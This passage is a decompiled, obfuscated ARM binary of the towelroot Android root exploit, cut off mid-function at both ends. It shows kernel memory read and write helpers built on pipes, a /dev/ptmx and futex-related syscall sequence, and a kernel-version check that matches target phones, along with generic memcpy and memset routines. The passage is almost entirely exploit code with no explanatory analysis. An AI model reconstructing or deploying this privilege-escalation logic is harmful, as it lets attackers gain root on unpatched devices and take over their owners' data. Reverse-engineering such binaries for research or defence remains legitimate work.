sleep(10);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
goto LABEL_483;
}
}
else if ( result == 263847526 )
{
v73 = 0;
v74 = 256;
v75 = 0;
syscall(340, HACKS_fdm, 0, v84);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
goto LABEL_479;
}
}
else if ( result == 176063918 )
{
result = 263847526;
if ( v87 )
result = -2052581280;
}
}
else if ( result == v7 )
{
LABEL_483:
result = 513310241;
}
}
else if ( result == -16427465 )
{
sub_B7D8(HACKS_final_stack_base + 8, (int)&unk_CAC9, 4);
v8 = 1295232369;
pthread_mutex_unlock(is_kernel_writing);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
result = -1424694617;
}
}
else if ( result == -116490904 )
{
pipe(&v83);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
do_splice_tid_read = 1;
goto LABEL_464;
}
}
else if ( result == -512654259 )
{
_android_log_print(4, "towelroot", "cpid1 resumed\n", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", 2);
unlockpt();
v69 = ptsname(HACKS_fdm);
open(v69, 2);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
v4 = -1706446860;
result = 1222654836;
}
}
else if ( result == v9 )
{
v68 = 0;
if ( !did_splice_tid_read )
v68 = 1;
v87 = v68;
result = 176063918;
}
}
else if ( result == -1424694617 )
{
result = v7;
}
}
else if ( result == v10 )
{
result = 998255658;
if ( v85 )
result = -1443950635;
}
}
if ( result != v4 )
goto LABEL_4;
return result;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// 1098: using guessed type int __fastcall pthread_cond_signal(_DWORD);
// 10C8: using guessed type int __fastcall chmod(_DWORD, _DWORD);
// 10D4: using guessed type int fork(void);
// 10EC: using guessed type int getuid(void);
// 10F8: using guessed type int __fastcall open(_DWORD, _DWORD);
// 1104: using guessed type int unlockpt(void);
// 1110: using guessed type int __fastcall ptsname(_DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 2ACF4: using guessed type void **ph;
// 881C: using guessed type char var_440[1024];
//----- (0000B7D8) --------------------------------------------------------
int __fastcall sub_B7D8(int a1, int a2, int a3)
{
int v3; // r4@1
int v4; // r6@1
int v5; // r5@1
int v6; // r0@1
signed int v7; // r1@1
signed int v8; // r0@1
int v9; // r0@8
int v11; // [sp+10h] [bp-38h]@1
int v12; // [sp+14h] [bp-34h]@1
int v13; // [sp+18h] [bp-30h]@1
int v14; // [sp+1Ch] [bp-2Ch]@1
int v15; // [sp+20h] [bp-28h]@1
int v16; // [sp+24h] [bp-24h]@1
int v17; // [sp+28h] [bp-20h]@14
v3 = a1;
v11 = a1;
v4 = a3;
v5 = a2;
pipe(&v13);
write(v14, v5, v4);
v6 = read(v13, v3, v4);
v12 = v6;
v15 = v6;
v7 = 0xFFFE1D36;
v16 = v4;
v8 = 1511452053;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= -423951698 )
{
if ( v8 == -1726233443 )
LABEL_2:
v8 = 1991527168;
}
if ( v8 > -279740630 )
break;
if ( v8 == -423951697 )
{
v9 = _errno(-423951697, v7);
_android_log_print(4, "towelroot", "FAILED WRITE @ %p : %d %d\n", v11, v12, *(_DWORD *)v9);
goto LABEL_11;
}
}
if ( v8 > 465676008 )
break;
if ( v8 == -279740629 )
LABEL_11:
v8 = 1947188961;
}
if ( v8 <= 749189899 )
break;
if ( v8 > 1470931962 )
{
if ( v8 > 1991527167 )
{
v7 = 1991527168;
if ( v8 == 1991527168 )
{
close(v13);
close(v14);
v17 = v12;
v8 = 465676009;
}
}
else if ( v8 > 1947188960 )
{
v7 = 1947188961;
if ( v8 == 1947188961 )
LABEL_32:
v8 = 749189900;
}
else
{
if ( v8 == 1470931963 )
{
close(v13);
close(v14);
goto LABEL_2;
}
if ( v8 == 1511452053 )
{
v7 = v16;
v8 = -1726233443;
if ( v15 != v16 )
v8 = -423951697;
}
else
{
v7 = 1849750365;
if ( v8 == 1849750365 )
{
sleep(10);
goto LABEL_32;
}
}
}
}
else
{
v7 = 749189900;
if ( v8 == 749189900 )
{
sleep(10);
v8 = -279740629;
}
}
}
v7 = 465676009;
}
while ( v8 != 465676009 );
return v17;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 1134: using guessed type int __cdecl _errno(_DWORD, _DWORD);
// 1140: using guessed type int __fastcall close(_DWORD);
//----- (0000BA44) --------------------------------------------------------
int __fastcall sub_BA44(int a1, int a2, int a3)
{
int v3; // r5@1
int v4; // r4@1
int v5; // r0@1
signed int v6; // r9@1
signed int v7; // r2@1
signed int v8; // r10@1
signed int v9; // r4@1
signed int v10; // r0@1
signed int v11; // r4@9
signed int v12; // r10@18
signed int v13; // r9@18
int v14; // r0@22
int v15; // r0@30
int v17; // [sp+18h] [bp-40h]@1
int v18; // [sp+1Ch] [bp-3Ch]@1
int v19; // [sp+20h] [bp-38h]@1
int v20; // [sp+24h] [bp-34h]@1
int v21; // [sp+28h] [bp-30h]@1
int v22; // [sp+2Ch] [bp-2Ch]@1
int v23; // [sp+30h] [bp-28h]@1
int v24; // [sp+34h] [bp-24h]@1
int v25; // [sp+38h] [bp-20h]@26
v3 = a1;
v4 = a3;
v19 = a2;
v20 = a3;
v17 = a1;
pipe(&v21);
v5 = write(v22, v3, v4);
v18 = v5;
v6 = -1949532095;
v23 = v5;
v7 = -1109216572;
v8 = -1230563248;
v24 = v4;
v9 = -229296604;
v10 = -1949532095;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v10 <= -1666437983 )
{
if ( v10 == v6 )
{
v10 = v7;
if ( v23 != v24 )
v10 = 2041770680;
}
}
if ( v10 > v8 )
break;
if ( v10 == -1666437982 )
{
v11 = v7;
read(v21, v19, v20);
close(v21);
close(v22);
v7 = v11;
v9 = -229296604;
goto LABEL_15;
}
}
if ( v10 > -1109216573 )
break;
if ( v10 == -1230563247 )
LABEL_19:
v10 = -229296603;
}
if ( v10 > v9 )
break;
if ( v10 == v7 )
LABEL_15:
v10 = 1993224842;
}
if ( v10 > 366273532 )
break;
if ( v10 == -229296603 )
{
v12 = v6;
v13 = v7;
sleep(10);
v7 = v13;
v6 = v12;
v8 = -1230563248;
goto LABEL_19;
}
}
if ( v10 > 1714786564 )
break;
if ( v10 == 366273533 )
{
v14 = _errno(366273533, 366273533);
_android_log_print(4, "towelroot", "FAILED READ @ %p : %d %d\n", v17, v18, *(_DWORD *)v14);
v7 = -1109216572;
goto LABEL_23;
}
}
if ( v10 <= 1775758113 )
break;
if ( v10 == 1775758114 )
{
v15 = _errno(1775758114, 1775758114);
_android_log_print(4, "towelroot", "FAILED READ @ %p : %d %d\n", v17, v18, *(_DWORD *)v15);
v10 = -1230563247;
LABEL_31:
v7 = -1109216572;
}
else
{
if ( v10 == 1993224842 )
{
read(v21, v19, v20);
close(v21);
close(v22);
v25 = v18;
v10 = 1714786565;
goto LABEL_31;
}
v7 = -1109216572;
if ( v10 == 2041770680 )
LABEL_23:
v10 = 1775758114;
}
}
}
while ( v10 != 1714786565 );
return v25;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 1134: using guessed type int __cdecl _errno(_DWORD, _DWORD);
// 1140: using guessed type int __fastcall close(_DWORD);
//----- (0000BD38) --------------------------------------------------------
signed int sub_BD38()
{
FILE *v0; // r5@1
signed int v1; // r7@1
signed int v2; // r10@1
signed int v3; // r5@1
signed int v4; // lr@1
signed int v5; // r12@1
signed int v6; // r9@1
signed int v7; // r4@1
signed int v8; // r1@1
signed int result; // r0@1
signed int v10; // r2@1
signed int v11; // r6@3
signed int v12; // r1@3
signed int v13; // r7@45
signed int v14; // r9@45
char v15; // r0@49
size_t v16; // r0@53
signed int v17; // r4@53
int v18; // r5@53
signed int v19; // r3@53
_BYTE v20; // zf@53
_BYTE v21; // nf@53
unsigned __int8 v22; // vf@53
signed int v23; // r1@69
_BYTE v24; // zf@93
signed int v25; // r4@106
char *v26; // r5@106
size_t v27; // r0@106
const void *v28; // r1@106
char v29; // r0@106
char *v30; // r0@110
_BYTE v31; // zf@110
signed int v32; // [sp+38h] [bp-1030h]@1
signed int v33; // [sp+3Ch] [bp-102Ch]@1
char v34[4096]; // [sp+42h] [bp-1026h]@1
char v35; // [sp+1042h] [bp-26h]@51
char v36; // [sp+1043h] [bp-25h]@86
unsigned int v37; // [sp+1044h] [bp-24h]@80
v33 = 0;
_aeabi_memset(v34, 4096, 0);
v0 = fopen("/proc/version", "rb");
fread(v34, 1u, 0xFFFu, v0);
fclose(v0);
_android_log_print(4, "towelroot", "got kernel version %s\n");
v1 = 1555633012;
v2 = 1524615209;
v3 = 1495895337;
v4 = -193831583;
v5 = 453557149;
v6 = 1524615210;
v7 = 1555633013;
v8 = 0x6173D898u;
v32 = (signed int)"found matching phone: %s\n";
result = -625781896;
v10 = 1495895338;
LABEL_3:
v11 = v8;
v12 = v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( result > 1634982039 )
{
if ( result == v11 )
result = v4;
}
if ( result <= v1 )
break;
if ( result == v7 )
result = v5;
}
if ( result <= v2 )
break;
if ( result == v12 )
result = 107891123;
}
if ( result <= v3 )
break;
if ( result == v10 )
{
v13 = v10;
v14 = v5;
_android_log_print(4, "towelroot", "found matching phone: %s\n", phones[4 * v33]);
v12 = 1524615210;
v10 = v13;
v1 = 1555633012;
v11 = 1634982040;
v2 = 1524615209;
v7 = 1555633013;
ph = (void **)&phones[4 * v33];
v3 = 1495895337;
v5 = v14;
goto LABEL_46;
}
}
if ( result <= 1257403340 )
break;
if ( result == 1257403341 )
{
v15 = 0;
if ( v33 < 1 )
v15 = 1;
v35 = v15;
result = -1408789365;
}
}
v6 = v12;
if ( result <= 1155731667 )
break;
if ( result == 1155731668 )
{
v16 = strlen(new_samsung);
v17 = v3;
v18 = atoi(&v34[v16]);
_android_log_print(4, "towelroot", "got kernel number %d\n", v18);
LOWORD(v19) = 23905;
v22 = __OFSUB__(v18, 951485);
v20 = v18 == 951485;
v21 = v18 - 951485 < 0;
result = -2110984625;
LOWORD(v12) = -14294;
LOWORD(v10) = -29398;
LOWORD(v5) = -17507;
LOWORD(v1) = 4980;
if ( v18 > 951485 )
result = 31977;
HIWORD(v19) = -2958;
v3 = v17;
v7 = 1555633013;
HIWORD(v12) = 23263;
HIWORD(v10) = 22825;
HIWORD(v5) = 6920;
v4 = v19;
HIWORD(v1) = 23737;
if ( !((unsigned __int8)(v21 ^ v22) | v20) )
HIWORD(result) = -32444;
}
}
if ( result <= 1121889570 )
break;
if ( result == 1121889571 )
result = v11;
}
if ( result <= 1008231733 )
break;
if ( result == 1008231734 )
{
_android_log_print(4, "towelroot", "no matching phone found, trying default\n");
v10 = 1495895338;
v5 = 453557149;
v12 = v6;
v32 = 0;
v4 = -193831583;
goto LABEL_63;
}
}
if ( result <= 936481147 )
break;
if ( result == 936481148 )
result = v11;
}
if ( result <= 704068069 )
break;
if ( result == 704068070 )
result = 1203836501;
}
if ( result <= 701316958 )
break;
v23 = 701316959;
LABEL_70:
v20 = result == v23;
v12 = v6;
if ( v20 )
result = -1163396676;
}
if ( result <= 453557148 )
break;
if ( result == v5 )
result = 379459650;
}
if ( result > 379459649 )
break;
if ( result > 178664354 )
{
if ( result == 178664355 )
{
++v33;
result = -625781896;
}
}
else if ( result > 166053313 )
{
if ( result == 166053314 )
{
result = 704068070;
if ( v37 < 2 )
result = -2146371262;
}
}
else if ( result > 107891122 )
{
if ( result == 107891123 )
LABEL_63:
result = -500903855;
}
else if ( result > 75996805 )
{
if ( result == 75996806 )
{
result = 107891123;
if ( v36 )
result = 1155731668;
}
}
else if ( result > -193831584 )
{
if ( result == v4 )
result = 178664355;
}
else if ( result > -500903856 )
{
if ( result == -500903855 )
{
_android_log_print(4, "towelroot", "no matching phone found, trying default\n");
v10 = 1495895338;
v5 = 453557149;
v32 = 0;
result = -1000586763;
v12 = v6;
v4 = -193831583;
}
}
else if ( result > -625781897 )
{
v24 = result == -625781896;
LABEL_94:
if ( v24 )
result = 1257403341;
}
else
{
if ( result > -641145312 )
{
v23 = -641145311;
goto LABEL_70;
}
if ( result > -854238232 )
{
if ( result == -854238231 )
result = v12;
}
else if ( result > -958771766 )
{
if ( result == -958771765 )
{
v37 = v32;
result = 166053314;
}
}
else if ( result > -1000586764 )
{
if ( result == -1000586763 )
LABEL_47:
result = -958771765;
}
else if ( result > -1163396677 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1163396676 )
{
v25 = v3;
v26 = new_samsung;
v27 = strlen(new_samsung);
v28 = v26;
v3 = v25;
v7 = 1555633013;
v1 = 1555633012;
v20 = memcmp(v34, v28, v27) == 0;
v29 = 0;
v10 = 1495895338;
if ( v20 )
v29 = 1;
v5 = 453557149;
v36 = v29;
result = 75996806;
v4 = -193831583;
v12 = 1524615210;
}
}
else if ( result > -1167807250 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1167807249 )
{
v30 = strstr(v34, phones[4 * v33]);
v10 = 1495895338;
v31 = v30 == 0;
v11 = 1634982040;
result = 936481148;
v5 = 453557149;
if ( !v31 )
result = 36138;
v4 = -193831583;
v12 = v6;
if ( !v31 )
HIWORD(result) = 22825;
}
}
else if ( result > -1408789366 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1408789365 )
{
result = 701316959;
if ( v35 )
result = -1167807249;
}
}
else
{
if ( result > -2023345304 )
{
v10 = 1495895338;
v24 = result == -2023345303;
v11 = 1634982040;
goto LABEL_94;
}
if ( result > -2110984626 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -2110984625 )
result = -854238231;
}
else
{
if ( result == -2146371262 )
{
result = v5;
LABEL_2:
v10 = 1495895338;
v8 = 1634982040;
goto LABEL_3;
}
if ( result == -2144691208 )
{
result = -854238231;
goto LABEL_2;
}
v10 = 1495895338;
v11 = 1634982040;
if ( result == -2126218007 )
{
_android_log_print(4, "towelroot", "using new samsung\n");
v10 = 1495895338;
v11 = 1634982040;
v5 = 453557149;
v4 = -193831583;
ph = (void **)&new_samsung;
v12 = v6;
LABEL_46:
v32 = 1;
goto LABEL_47;
}
}
}
}
}
}
while ( result != 379459650 );
return result;
}
// BD38: too many cbuild loops
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// 114C: using guessed type int __fastcall _aeabi_memset(_DWORD, _DWORD, _DWORD);
// 2ACF4: using guessed type void **ph;
// 2AD08: using guessed type char *new_samsung;
// BD38: using guessed type char var_1026[4096];
//----- (0000D64C) --------------------------------------------------------
int __fastcall sub_D64C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000D66C) --------------------------------------------------------
int __fastcall sub_D66C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000D7EC) --------------------------------------------------------
int __fastcall sub_D7EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000D86C) --------------------------------------------------------
int __fastcall sub_D86C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000D8EC) --------------------------------------------------------
int __fastcall sub_D8EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000DAEC) --------------------------------------------------------
void __fastcall sub_DAEC(int a1)
{
int v1; // r0@1
v1 = *(_DWORD *)a1;
JUMPOUT(0xFFFF0FC0);
}
//----- (0000DB44) --------------------------------------------------------
void sub_DB44()
{
JUMPOUT(0xFFFF0FC0);
}
//----- (0000DB74) --------------------------------------------------------
unsigned int __fastcall sub_DB74(unsigned int a1, unsigned int *a2)
{
return __swp(a1, a2);
}
//----- (0000DB7C) --------------------------------------------------------
void sub_DB7C()
{
__asm { SVC 0 }
}
//----- (0000DBDC) --------------------------------------------------------
int __fastcall sub_DBDC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000DD1C) --------------------------------------------------------
#error "DD38: positive sp value has been found (funcsize=0)"
//----- (0000DE6C) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3,R12> sub_DE6C(int a1, int a2, int i, int a4)
{
unsigned int v4; // r4@0
int v5; // r5@0
int v6; // r6@0
int v7; // r7@0
unsigned int v8; // r8@0
int v9; // r9@0
int v10; // r12@0
unsigned __int8 v11; // cf@3
char v12; // nf@3
char v13; // r12@3
char v14; // t1@4
int v15; // r1@6
unsigned int v16; // t1@6
int v17; // r0@10
int v18; // r3@12
unsigned int v19; // t1@24
int v20; // r2@26
unsigned int v21; // r12@28
int v22; // r10@29
int v23; // r11@29
unsigned __int8 v24; // cf@29
int v25; // t1@30
int v26; // t1@43
__int16 v27; // t1@45
int v28; // r5@54
int v29; // lr@54
int v30; // t1@54
int v31; // r0@57
unsigned int v32; // r3@57
unsigned int v33; // t1@60
int v34; // r4@60
int v35; // r2@62
unsigned int v36; // r12@66
unsigned int v37; // t1@66
signed __int64 v38; // r4@67
signed __int64 v39; // r6@67
signed __int64 v40; // r8@67
signed __int64 v41; // r10@67
char v42; // cf@67
unsigned int v43; // t1@68
unsigned int v44; // r12@71
unsigned int v45; // t1@71
signed __int64 v46; // r4@72
signed __int64 v47; // r6@72
signed __int64 v48; // r8@72
signed __int64 v49; // r10@72
char v50; // cf@72
unsigned int v51; // t1@73
unsigned int v52; // r12@76
unsigned int v53; // t1@76
signed __int64 v54; // r4@77
signed __int64 v55; // r6@77
signed __int64 v56; // r8@77
signed __int64 v57; // r10@77
char v58; // cf@77
unsigned int v59; // t1@78
unsigned int v60; // t1@81
int v61; // r4@81
int v62; // r0@85
unsigned __int8 v63; // cf@86
char v64; // nf@86
int v65; // r2@86
char v66; // t1@87
__pld((void *)a1);
__pld((void *)a2);
__pld((void *)(a2 + 32));
if ( (unsigned int)i >= 4 )
{
a4 = -a2 & 3;
if ( a4 )
{
v11 = __CFSHL__(a4, 31);
v13 = 0;
v12 = a2 << 31 < 0;
i -= a4;
if ( v12 )
{
v14 = *(_BYTE *)a2++;
LOBYTE(a4) = v14;
}
if ( v11 )
{
v16 = *(_BYTE *)a2;
v15 = a2 + 1;
v4 = v16;
LOBYTE(v16) = *(_BYTE *)v15;
a2 = v15 + 1;
v13 = v16;
}
if ( v12 )
*(_BYTE *)a1++ = a4;
if ( v11 )
{
*(_BYTE *)a1 = v4;
v17 = a1 + 1;
*(_BYTE *)v17 = v13;
a1 = v17 + 1;
}
}
LOBYTE(v10) = a1 ^ a2;
if ( !((a1 ^ a2) & 3) )
{
v18 = -a1 & 0x1C;
if ( v18 )
{
if ( v18 > (unsigned int)i )
v18 = i & 0x1C;
if ( __CFSHL__(v18, 28) )
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
a2 += 16;
}
if ( v18 << 28 < 0 )
{
v8 = *(_DWORD *)a2;
v9 = *(_DWORD *)(a2 + 4);
a2 += 8;
}
if ( __CFSHL__(v18, 28) )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
a1 += 16;
}
if ( v18 << 28 < 0 )
{
*(_DWORD *)a1 = v8;
*(_DWORD *)(a1 + 4) = v9;
a1 += 8;
}
if ( v18 & 4 )
{
v19 = *(_DWORD *)a2;
a2 += 4;
*(_DWORD *)a1 = v19;
a1 += 4;
}
i -= v18;
}
v11 = (unsigned int)i >= 0x20;
v20 = i - 32;
if ( v11 )
{
v21 = (a2 & 0xFFFFFFE0) + 64;
do
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
v8 = *(_DWORD *)(a2 + 16);
v9 = *(_DWORD *)(a2 + 20);
v22 = *(_DWORD *)(a2 + 24);
v23 = *(_DWORD *)(a2 + 28);
a2 += 32;
__pld((void *)(v21 + 64));
v24 = (unsigned int)v20 >= 0x20;
v20 -= 32;
if ( (v20 != 0) & v24 )
{
v25 = *(_DWORD *)v21;
v21 += 32;
v18 = v25;
}
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
*(_DWORD *)(a1 + 16) = v8;
*(_DWORD *)(a1 + 20) = v9;
*(_DWORD *)(a1 + 24) = v22;
*(_DWORD *)(a1 + 28) = v23;
a1 += 32;
}
while ( v24 );
v20 += 32;
}
if ( v20 & 0x1F )
{
if ( __CFSHL__(v20, 28) )
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
a2 += 16;
}
if ( v20 << 28 < 0 )
{
v8 = *(_DWORD *)a2;
v9 = *(_DWORD *)(a2 + 4);
a2 += 8;
}
if ( __CFSHL__(v20, 28) )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
a1 += 16;
}
if ( v20 << 28 < 0 )
{
*(_DWORD *)a1 = v8;
*(_DWORD *)(a1 + 4) = v9;
a1 += 8;
}
if ( __CFSHL__(v20, 30) )
{
v26 = *(_DWORD *)a2;
a2 += 4;
v18 = v26;
}
if ( v20 << 30 < 0 )
{
v27 = *(_WORD *)a2;
a2 += 2;
LOWORD(v4) = v27;
}
if ( __CFSHL__(v20, 30) )
{
*(_DWORD *)a1 = v18;
a1 += 4;
}
if ( v20 << 30 < 0 )
{
*(_WORD *)a1 = v4;
a1 += 2;
}
if ( v20 & 1 )
*(_BYTE *)a1 = *(_BYTE *)a2;
}
return;
}
if ( (unsigned int)i >= 4 )
{
v28 = -a1 & 3;
v10 = 8 * v28;
v29 = 32 - 8 * v28;
v30 = *(_DWORD *)a2;
a2 += 4;
a4 = v30;
i -= 4;
if ( a1 << 31 < 0 )
{
*(_BYTE *)a1++ = a4;
a4 = (unsigned int)a4 >> 8;
}
if ( __CFSHL__(v28, 31) )
{
*(_BYTE *)a1 = a4;
v31 = a1 + 1;
v32 = (unsigned int)a4 >> 8;
*(_BYTE *)v31 = v32;
a1 = v31 + 1;
a4 = v32 >> 8;
}
if ( (unsigned int)i >= 4 )
{
while ( a1 & 0x1C )
{
v33 = *(_DWORD *)a2;
a2 += 4;
i -= 4;
v34 = a4 | (v33 << v29);
a4 = v33 >> v10;
*(_DWORD *)a1 = v34;
a1 += 4;
if ( (unsigned int)i < 4 )
{
if ( (unsigned int)i < 4 )
goto LABEL_82;
break;
}
}
v11 = (unsigned int)i >= 0x20;
v35 = i - 32;
if ( v11 )
{
if ( v10 == 24 )
{
v53 = *(_DWORD *)a2;
a2 += 4;
v52 = v53;
do
{
LODWORD(v54) = v52;
HIDWORD(v54) = *(_DWORD *)a2;
v55 = *(_QWORD *)(a2 + 4);
v56 = *(_QWORD *)(a2 + 12);
v57 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v58 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v58 )
{
v59 = *(_DWORD *)a2;
a2 += 4;
v52 = v59;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v54 << 8);
*(_DWORD *)(a1 + 4) = v54 >> 24;
*(_DWORD *)(a1 + 8) = (HIDWORD(v54) >> 24) | ((_DWORD)v55 << 8);
*(_DWORD *)(a1 + 12) = v55 >> 24;
*(_DWORD *)(a1 + 16) = (HIDWORD(v55) >> 24) | ((_DWORD)v56 << 8);
*(_DWORD *)(a1 + 20) = v56 >> 24;
*(_DWORD *)(a1 + 24) = (HIDWORD(v56) >> 24) | ((_DWORD)v57 << 8);
*(_DWORD *)(a1 + 28) = v57 >> 24;
a1 += 32;
a4 = HIDWORD(v57) >> 24;
}
while ( v58 );
}
else if ( v10 == 8 )
{
v45 = *(_DWORD *)a2;
a2 += 4;
v44 = v45;
do
{
LODWORD(v46) = v44;
HIDWORD(v46) = *(_DWORD *)a2;
v47 = *(_QWORD *)(a2 + 4);
v48 = *(_QWORD *)(a2 + 12);
v49 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v50 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v50 )
{
v51 = *(_DWORD *)a2;
a2 += 4;
v44 = v51;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v46 << 24);
*(_DWORD *)(a1 + 4) = v46 >> 8;
*(_DWORD *)(a1 + 8) = (HIDWORD(v46) >> 8) | ((_DWORD)v47 << 24);
*(_DWORD *)(a1 + 12) = v47 >> 8;
*(_DWORD *)(a1 + 16) = (HIDWORD(v47) >> 8) | ((_DWORD)v48 << 24);
*(_DWORD *)(a1 + 20) = v48 >> 8;
*(_DWORD *)(a1 + 24) = (HIDWORD(v48) >> 8) | ((_DWORD)v49 << 24);
*(_DWORD *)(a1 + 28) = v49 >> 8;
a1 += 32;
a4 = HIDWORD(v49) >> 8;
}
while ( v50 );
}
else
{
v37 = *(_DWORD *)a2;
a2 += 4;
v36 = v37;
do
{
LODWORD(v38) = v36;
HIDWORD(v38) = *(_DWORD *)a2;
v39 = *(_QWORD *)(a2 + 4);
v40 = *(_QWORD *)(a2 + 12);
v41 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v42 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v42 )
{
v43 = *(_DWORD *)a2;
a2 += 4;
v36 = v43;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v38 << 16);
*(_DWORD *)(a1 + 4) = v38 >> 16;
*(_DWORD *)(a1 + 8) = (HIDWORD(v38) >> 16) | ((_DWORD)v39 << 16);
*(_DWORD *)(a1 + 12) = v39 >> 16;
*(_DWORD *)(a1 + 16) = (HIDWORD(v39) >> 16) | ((_DWORD)v40 << 16);
*(_DWORD *)(a1 + 20) = v40 >> 16;
*(_DWORD *)(a1 + 24) = (HIDWORD(v40) >> 16) | ((_DWORD)v41 << 16);
*(_DWORD *)(a1 + 28) = v41 >> 16;
a1 += 32;
a4 = HIDWORD(v41) >> 16;
}
while ( v42 );
}
}
LOBYTE(v10) = 32 - v29;
for ( i = v35 + 32; (unsigned int)i >= 4; a1 += 4 )
{
v60 = *(_DWORD *)a2;
a2 += 4;
i -= 4;
v61 = a4 | (v60 << v29);
a4 = v60 >> v10;
*(_DWORD *)a1 = v61;
}
}
LABEL_82:
if ( v29 << 28 < 0 )
{
*(_BYTE *)a1++ = a4;
a4 = (unsigned int)a4 >> 8;
}
if ( __CFSHL__(v29, 28) )
{
*(_BYTE *)a1 = a4;
v62 = a1 + 1;
a4 = (unsigned int)a4 >> 8;
*(_BYTE *)v62 = a4;
a1 = v62 + 1;
}
}
}
v63 = __CFSHL__(i, 31);
v65 = i << 31;
v64 = v65 < 0;
if ( v65 < 0 )
{
v66 = *(_BYTE *)a2++;
LOBYTE(v65) = v66;
}
if ( v63 )
{
LOBYTE(a4) = *(_BYTE *)a2;
LOBYTE(v10) = *(_BYTE *)(a2 + 1);
}
if ( v64 )
*(_BYTE *)a1++ = v65;
if ( v63 )
{
*(_BYTE *)a1 = a4;
*(_BYTE *)(a1 + 1) = v10;
}
}
//----- (0000E1A4) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3> sub_E1A4(int a1, int a2, int a3)
{
int v3; // r3@1
unsigned int v4; // r1@3
int v5; // r0@4
unsigned __int8 v6; // cf@7
int v7; // r2@7
int v8; // r3@9
int v9; // r3@12
int v10; // r0@13
int v11; // r2@18
int v12; // r2@20
int v13; // r2@20
int v14; // r2@24
v3 = -a1 & 3;
if ( v3 > (unsigned int)a3 )
v3 = a3;
v4 = (a2 << 24) | (a2 << 16) & 0xFFFFFF | (((a2 << 24) | (a2 << 16) & 0xFFFFFFu) >> 16);
if ( __CFSHL__(v3, 31) )
{
